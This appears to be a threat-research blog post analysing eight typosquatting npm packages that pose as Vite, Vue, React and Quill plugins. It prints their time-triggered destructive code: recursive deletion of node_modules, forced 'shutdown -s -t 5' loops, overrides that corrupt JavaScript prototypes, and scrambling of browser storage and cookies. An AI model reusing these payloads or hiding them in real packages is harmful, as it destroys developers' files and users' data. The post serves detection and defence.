🚀 Big News: Socket Acquires Coana to Bring Reachability Analysis to Every Appsec Team.Learn more
Socket
DemoInstallSign in
Socket
Back

Research

Security News

Malicious npm Packages Target React, Vue, and Vite Ecosystems with Destructive Payloads

Malicious npm packages targeting React, Vue, Vite, Node.js, and Quill remained undetected for two years while deploying destructive payloads.

Malicious npm Packages Target React, Vue, and Vite Ecosystems with Destructive Payloads

Kush Pandya

May 21, 2025

Socket's Threat Research Team discovered a collection of malicious npm packages that deploy attacks against widely-used JavaScript frameworks including React, Vue.js, Vite, Node.js, and the open source Quill Editor. These malicious packages have remained undetected in the npm ecosystem for more than two years, accumulating over 6,200 downloads. Masquerading as legitimate plugins and utilities while secretly containing destructive payloads designed to corrupt data, delete critical files, and crash systems, these packages remained undetected.

The threat actor behind this campaign, using the npm alias xuxingfeng with a registration email 1634389031@qq[.]com, has published eight packages designed to cause widespread damage across the JavaScript ecosystem. As of this writing, these packages remain live on the npm registry. We have formally petitioned for their removal.

Notably, the same account has also published several legitimate, non-malicious packages that function as advertised. This dual approach of releasing both harmful and helpful packages creates a facade of legitimacy that makes malicious packages more likely to be trusted and installed.

npm profile of the threat actor xuxingfeng, highlighting both malicious and legitimate packages published over two years. This mixed publishing approach helps mask malicious intent by establishing credibility and trust within the ecosystem.

Typosquatting and Mimicry#

These malicious packages rely on typosquatting and package name mimicry to gain installation:

Targeting High-Value Ecosystem Components

The malicious packages strategically target some of the most popular and widely-used tools in modern JavaScript development:

  • Vite has rapidly become the one of the most popular build tools for modern frontend development.
  • Vite’s npm package has 28M+ weekly downloads (as of 2025) and is widely used for its speed and plugin-based architecture.
  • Quill editor plugins like quill-image-uploader have tens of thousands of downloads and are integrated into content management systems and internal dashboards.
  • By mimicking common plugin names, attackers exploited developers' reliance on third-party Vite plugins.
Socket's AI Scanner flagging the malicious packages as "Known malware" and “Possible Typosquat Attack”.

A Multi-Vector Attack Campaign#

What makes this campaign particularly concerning is the diversity of attack vectors - from subtle data corruption to aggressive system shutdowns and file deletion. The packages were designed to target different parts of the JavaScript ecosystem with varied tactics:

How the Malicious Code Activates#

These packages were designed to execute automatically once developers use them exactly as they would any legitimate development tool. The activation methods are indistinguishable from standard development practices, making them quite dangerous.

While the packages don't execute during npm install alone, they trigger through identical usage patterns to legitimate tools:

A developer couldn't distinguish the usage of these malicious packages from legitimate ones without examining the source code. The import statements, function calls, and integration methods are designed to be completely indistinguishable from real development tools. When developers follow completely normal procedures to install and use what they believe are legitimate packages, the time-based malicious payloads activate automatically based on system dates (all activation dates have now passed).

1. Framework Destroyers: Cross-Platform File Deletion

vite-plugin-bomb and vite-plugin-bomb-extend - Deletes Vue.js framework files using cross-platform deletion methods.


import process from"child_process";
import{fileURLToPath}from"node:url";
import{dirname}from"node:path";
.....
// Using rimraf for cross-platform file deletion
if (new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime() &&
    (new Date).getTime()<new Date("2023/06/30 18:00:01").getTime()) {
  setInterval(()=>{
// Dynamic path resolution
    const arr=__dirname.split("\\");
    const key2=arr[arr.length-2];
    const index2=__dirname.indexOf(key2);
    const node_modules=__dirname.slice(0,index2+key2.length)+"\\";

// Target critical Vue.js components using rimraf for reliable deletion
    process.execSync(`rimraf ${node_modules}vue\\dist`);
    process.execSync(`rimraf ${node_modules}vue-router\\index.js`);
    process.execSync(`rimraf ${node_modules}ant-design-vue\\index.js`);
    process.execSync(`rimraf ${node_modules}ant-design-vue\\dist`);
  }, 1000)
}

In this version, the attacker ensures effective file deletion by using the rimraf package (a Node.js implementation of the rm -rf command) that works across platforms including Windows, macOS, and Linux. Unlike the previous attempt, these destructive commands would successfully delete the target files regardless of operating system. However, the directory structure still uses Windows-style backslashes, so it would primarily affect Windows environments.

vite-plugin-react-extend - Targets React and Vite with a recursive deletion attack.

// Custom recursive directory deletion function
function rmdir(dirPath) {
  if (fs.existsSync(dirPath)) {
    let files = fs.readdirSync(dirPath);
    let chidPath = null;
    files.forEach((child) => {
      chidPath = `${dirPath}/${child}`;
      if (fs.statSync(chidPath).isDirectory()) {
        rmdir(chidPath);
        fs.rmdirSync(chidPath);
      } else {
        fs.unlinkSync(chidPath);
      }
    });
  }
}

// Activation targeting React and Vite (would have triggered in 2024)
if (new Date().getTime() > new Date("2024/08/20 08:00:01").getTime()) {
  setInterval(() => {
    const index = __dirname.indexOf("\\node_modules");
    rmdir(__dirname.slice(0, index) + "\\node_modules" + "\\vite");
    rmdir(__dirname.slice(0, index) + "\\node_modules" + "\\react");
  }, 2 * 1000);
}

vite-plugin-vue-extend - Implements a seven-stage progressive attack targeting Vue.js ecosystem.


// Phase 1 (July 8, 2023) - Core build tools and Vue
if (new Date().getTime() > new Date('2023/07/08 08:00:01').getTime()) {
  setInterval(() => {
    var index = __dirname.indexOf('\\node_modules');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vite\\dist');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vue\\dist');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vue-types\\dist');
  }, randomVal(items) * 60 * 1000);// Random interval between 5-10 minutes
}

// Phase 2 (July 10, 2023) - Binaries and executables
if (new Date().getTime() > new Date('2023/07/10 08:00:01').getTime()) {
  setInterval(() => {
    var index = __dirname.indexOf('\\node_modules');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\typescript\\bin');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vite\\bin');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vue-tsc\\bin');
  }, randomVal(items) * 60 * 1000);
}

// Phase 3 (July 12, 2023) - UI libraries and state management
if (new Date().getTime() > new Date('2023/07/12 08:00:01').getTime()) {
  setInterval(() => {
    var index = __dirname.indexOf('\\node_modules');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\less\\lib');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\ant-design-vue\\es');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\store\\dist');
  }, randomVal(items) * 60 * 1000);
}

// Phase 4 (July 17, 2023) - Utilities and TypeScript
if (new Date().getTime() > new Date('2023/07/17 08:00:01').getTime()) {
  setInterval(() => {
    var index = __dirname.indexOf('\\node_modules');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\lib-flexible');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\dayjs\\locale');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\typescript\\lib');
  }, randomVal(items) * 60 * 1000);
}

// Phase 7 (August 14, 2023) - HTTP clients and CSS tools
if (new Date().getTime() > new Date('2023/08/14 08:00:01').getTime()) {
  setInterval(() => {
    var index = __dirname.indexOf('\\node_modules');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\axios\\dist');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\less\\dist');
    rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\less-loader\\dist');
  }, randomVal(items) * 60 * 1000);
}

This package systematically targets 19 different critical libraries across all seven phases, with phases 5 and 6 also targeting routing libraries, UI components, state management (Pinia), and data visualization (ECharts). It uses randomized intervals (5-10 minutes) to evade detection patterns, with each phase building upon previous phases. This ensures the progressive destruction of the entire Vue.js ecosystem over a carefully planned six-week period. Like the other packages, it primarily targets Windows environments due to the path structure.

2. Data Corrupters: Breaking JavaScript's Core Functionality

js-hood - Corrupts JavaScript's core Array and String methods with random data.

// After August 1, 2023, start corrupting JavaScript
if(new Date().getTime() > new Date("2023/08/01 08:00:01").getTime()) {
  setInterval(() => {
// Replace Array.prototype.filter with nonsense function
    Array.prototype.filter = function(fn) {
      var arr = this, len = arr.length, arg = arguments[1] || window,
          newArr = [], item;
      for(var i = 0; i < len; i++) {
        item = JSON.parse(JSON.stringify(arr[i]));
        fn.apply(arg, [item, i, arr]) ? newArr.push(item) : "";
      }
// Instead of returning filtered data, return array of random characters
      return Array(len).fill(randomVal(characterArr));
    };

// Corrupt String.prototype.split
    String.prototype.split = function(s) {
// Logic that appears normal but returns random characters
      var pattern = new RegExp("[" + s + "]+", "g");
      var sr = this;
      var sl = s.length;
      var relust = [];
// Instead of splitting string properly, fill with random characters
      relust.push(randomVal(characterArr));
      return relust;
    };

// Many other corrupted methods...
  }, randomVal(items) * 60 * 1000);// Random interval between 5-10 minutes
}

The package corrupts numerous fundamental JavaScript methods, including essential Array methods like slice, push, pop, unshift, filter, forEach, map, shift, some, every, and splice, as well as critical String methods such as split, replaceAll, substr, trim, and concat.

Each corrupted method maintains its expected syntax and signature but returns completely random and unpredictable values. For example:

  • filter() appears to filter an array but returns random characters instead of the filtered results
  • push() adds random characters instead of the intended items
  • pop() removes a random number of elements and returns a random character
  • map() creates an array of random characters instead of applying the transformation function
  • split() returns random characters instead of splitting the string on the delimiter

This package is particularly dangerous because it directly attacks core JavaScript prototype methods essential to application functionality. By introducing non-deterministic failures that return random data, it ensures that applications appear operational yet produce corrupted and unpredictable outputs. The malware's randomized execution intervals of 5-10 minutes further complicate detection and diagnosis.

3. Coordinated Client-Side Storage Attack

The quill-image-downloader package series - Corrupts all browser storage mechanisms with a coordinated three-file attack.

This is arguably the most advanced attack in the entire campaign. Unlike the other packages that target server-side environments or framework files, this package specifically targets client-side web applications by compromising all three core browser storage mechanisms:

  • localStorage - Persistent client-side storage (5-10MB) that websites use to store user preferences, authentication tokens, and application state
  • sessionStorage - Similar to localStorage but cleared when the browser session ends; often used for temporary user state
  • Cookies - Small data pieces used for session management, personalization, and tracking user behavior

The attack uses a modular, three-file approach with clear separation of concerns:

index.js: The loader module that activates after October 5, 2023

export default {
  install(app) {
    try {
      if((new Date).getTime() > new Date("2023/10/05 00:00:00").getTime()) {
// Import and activate malicious module with randomized delay
        lib((new Date).getTime() + randomVal(items) * 1 * 1e3)
      }
    } catch(e) {}
  }
};

cookie.min.js: Cookie manipulation utilities

export default {
  set(key, value, seconds) {
// Cookie setting functionality
  },
  getAll() {
// Returns all cookies as an object
    const obj = {};
    const array = document.cookie.split(";");
    for(let i = 0; i < array.length; i++) {
      const new_Array = array[i].split("=");
      const n_key = new_Array[0].replace(/^\s/,"");
      obj[n_key] = new_Array[1]
    }
    return obj;
  }
// Other utility functions...
};

index.min.js: The core attack logic

export default date1 => {
  var date2 = (new Date).getTime();
  setInterval(() => {
    try {
// Target all browser storage mechanisms
      var localStore = localStorage;
      var sessionStore = sessionStorage;
      var cookieStore = handleCookie.getAll();

// Corrupt localStorage
      Object.keys(localStore).forEach(key => {
        localStore.setItem(key, localStore[key].replaceAll(
          randomVal(characterArr), randomVal(characterArr)
        ));
      });

// Corrupt sessionStorage
      Object.keys(sessionStore).forEach(key => {
        sessionStore.setItem(key, sessionStore[key].replaceAll(
          randomVal(characterArr), randomVal(characterArr)
        ));
      });

// Corrupt cookies
      Object.keys(cookieStore).forEach(key => {
        cookieStore[key] = cookieStore[key].replaceAll(
          randomVal(characterArr), randomVal(characterArr)
        );
      });

// Reassemble and set corrupted cookies
      var str = "";
      Object.keys(cookieStore).map(key => {
        str += key + "=" + cookieStore[key]
      }).join(";");
      document.cookie = str;
    } catch(e) {}
  }, date1 - date2);
};

What makes this attack particularly advanced and dangerous:

Unlike the other packages that cause immediate, obvious damage through file deletion or system shutdowns, this attack corrupts data in all three client-side storage systems (localStorage, sessionStorage, and cookies) by randomly replacing characters while preserving the overall data structure. This strategic approach breaks authentication tokens, user preferences, shopping carts, and application state while creating hard-to-diagnose intermittent failures that persist through page refreshes. By targeting these storage mechanisms simultaneously, it ensures maximum impact on web applications and their users.

4. System Crashers: Multi-Phase System Attacks

js-bomb - Deletes Vue.js framework files and forces system shutdowns using a multi-phase attack strategy.


// Phase 1 (June 20, 2023): System shutdown only
if(new Date("2023/06/20 08:00:01").getTime()<(new Date).getTime() && 
   (new Date).getTime()<new Date("2023/06/20 11:45:01").getTime()) {
  setInterval(()=>{
    process.execSync(`shutdown -s -t 5`)
  }, 1*1000)
}

// Phase 2 (July 5, 2023): System shutdown only
if(new Date("2023/07/05 08:00:01").getTime()<(new Date).getTime() && 
   (new Date).getTime()<new Date("2023/07/05 11:45:01").getTime()) {
  setInterval(()=>{
    process.execSync(`shutdown -s -t 5`)
  }, 1*1000)
}

// Phase 3 (July 6, 2023): File deletion + system shutdown
if(new Date("2023/07/06 08:00:01").getTime()<(new Date).getTime() && 
   (new Date).getTime()<new Date("2023/07/06 11:45:01").getTime()) {
  setInterval(()=>{
    // Dynamically locate node_modules regardless of installation path
    const arr=__dirname.split("\\");
    const key2=arr[arr.length-2];
    const index2=__dirname.indexOf(key2);
    const node_modules=__dirname.slice(0,index2+key2.length)+"\\";
    
    // Delete Vue.js core files
    process.execSync(`rm -rf ${node_modules}vue\\dist`);
    process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);
    process.execSync(`rm -rf ${node_modules}ant-design-vue\\index.js`);
    process.execSync(`rm -rf ${node_modules}ant-design-vue\\dist`);
    
    // Force system shutdown with minimal warning
    process.execSync(`shutdown -s -t 5`)
  }, 1*1000)
}

// Phase 4 (From July 7, 2023 onward): Permanent expanded attack
if(new Date("2023/07/07 08:00:01").getTime()<(new Date).getTime()) {
  setInterval(()=>{
    // Similar node_modules path resolution
    const arr=__dirname.split("\\");
    const key2=arr[arr.length-2];
    const index2=__dirname.indexOf(key2);
    const node_modules=__dirname.slice(0,index2+key2.length)+"\\";
    
    // Expanded target list with additional libraries
    process.execSync(`rm -rf ${node_modules}lib-flexible`);
    process.execSync(`rm -rf ${node_modules}less-loader\\dist`);
    process.execSync(`rm -rf ${node_modules}less\\index.js`);
    process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);
    
    // Force system shutdown with minimal warning
    process.execSync(`shutdown -s -t 5`)
  }, 1*1000)
}

Similarly, vue-plugin-bomb follows the same pattern but disguised as a Vue plugin. These packages employ a graduated attack strategy:

  1. Initial phases (June 19-30 & July 5, 2023): System shutdowns only during specific time windows
  2. Middle phase (July 6, 2023): Combined Vue.js file deletion with system shutdowns
  3. Final phase (From July 7, 2023): Expanded attack with additional library deletion and forced shutdowns

What makes these particularly dangerous:

  • The attack progresses from less obvious (shutdowns) to more destructive (file deletion)
  • The shutdown -s -t 5 command forces a system shutdown with only 5 seconds of warning
  • Execution occurs every second continuously, preventing effective mitigation
  • The dynamic path resolution ensures success regardless of installation location
  • The final phase has no end date, requiring complete environment reinstallation

It's important to note that these packages remain actively harmful today (May 2025). While the earlier phases were limited to specific dates in 2023, the final phase that begins on July 7, 2023, has no end date. This means that any current installations of these packages would still trigger the system shutdown and file deletion functionality, making them persistent threats.

However, there's a critical implementation flaw: the file deletion likely wouldn't work as intended because it uses Linux-style rm -rf commands on Windows directory paths (with backslashes). While the system shutdown commands would execute successfully, the file deletion would fail due to this cross-platform syntax error. The directory structure used is Windows-specific, so these packages would only affect Windows environments, and even then, only the shutdown functionality would work properly.

Technical Details and Timeline#

The attacks use various concealment techniques to avoid detection:

  1. Error Handling: Most packages include try/catch blocks to hide errors
  2. Dynamic Path Resolution: They dynamically locate node_modules regardless of installation path
  3. Timed Activation: Code triggered on specific dates in 2023 and 2024
  4. Minification: Several packages use minified code to obscure their functionality

Once activated, the attacks execute at intervals ranging from aggressive 1-second loops to randomized 5-10 minute windows, making them difficult to trace during debugging.

Outlook and Recommendations#

The malicious npm packages described in this research such as js-bomb, vite-plugin-bomb, js-hood, and quill-image-downloader represent a coordinated effort to exploit developer workflows and trust boundaries within the JavaScript ecosystem.

  • Strategic targeting: These packages were not random. They were designed to integrate seamlessly into real applications by posing as plausible development tools and plugins.
  • Developer workflow exploitation: The use of typosquatting and naming mimicry targeted developers typing quickly or relying on autocomplete functionality.
  • Production impact: Because the targeted libraries are core dependencies, malicious payloads are likely to be included in production applications, CI pipelines, or developer tooling.
  • Detection challenges: The time-delayed activation and randomized execution intervals made these packages particularly difficult to detect through standard security practices.

For organizations that suspect exposure, we recommend immediately auditing installed dependencies, restoring affected environments from verified sources, and rotating all potentially compromised credentials. It is also critical to inspect source control and build artifacts for unauthorized modifications or suspicious activity.

Socket's security tools can help protect against these threats by analyzing package behaviors in real-time to detect dangerous patterns like those seen in this campaign. Our GitHub app flags risks directly in pull requests, the CLI alerts during package installations, and our browser extension provides security insights on npm package pages all helping developers identify potential supply chain threats before they enter your codebase.

Indicators of Compromise (IOCs)#

MITRE ATT&CK#

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1059.007 — Command and Scripting Interpreter: JavaScript
  • T1565 — Data Manipulation
  • T1485 — Data Destruction
  • T1529 — System Shutdown/Reboot

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a demo

Related posts

Back to all posts
OSZAR »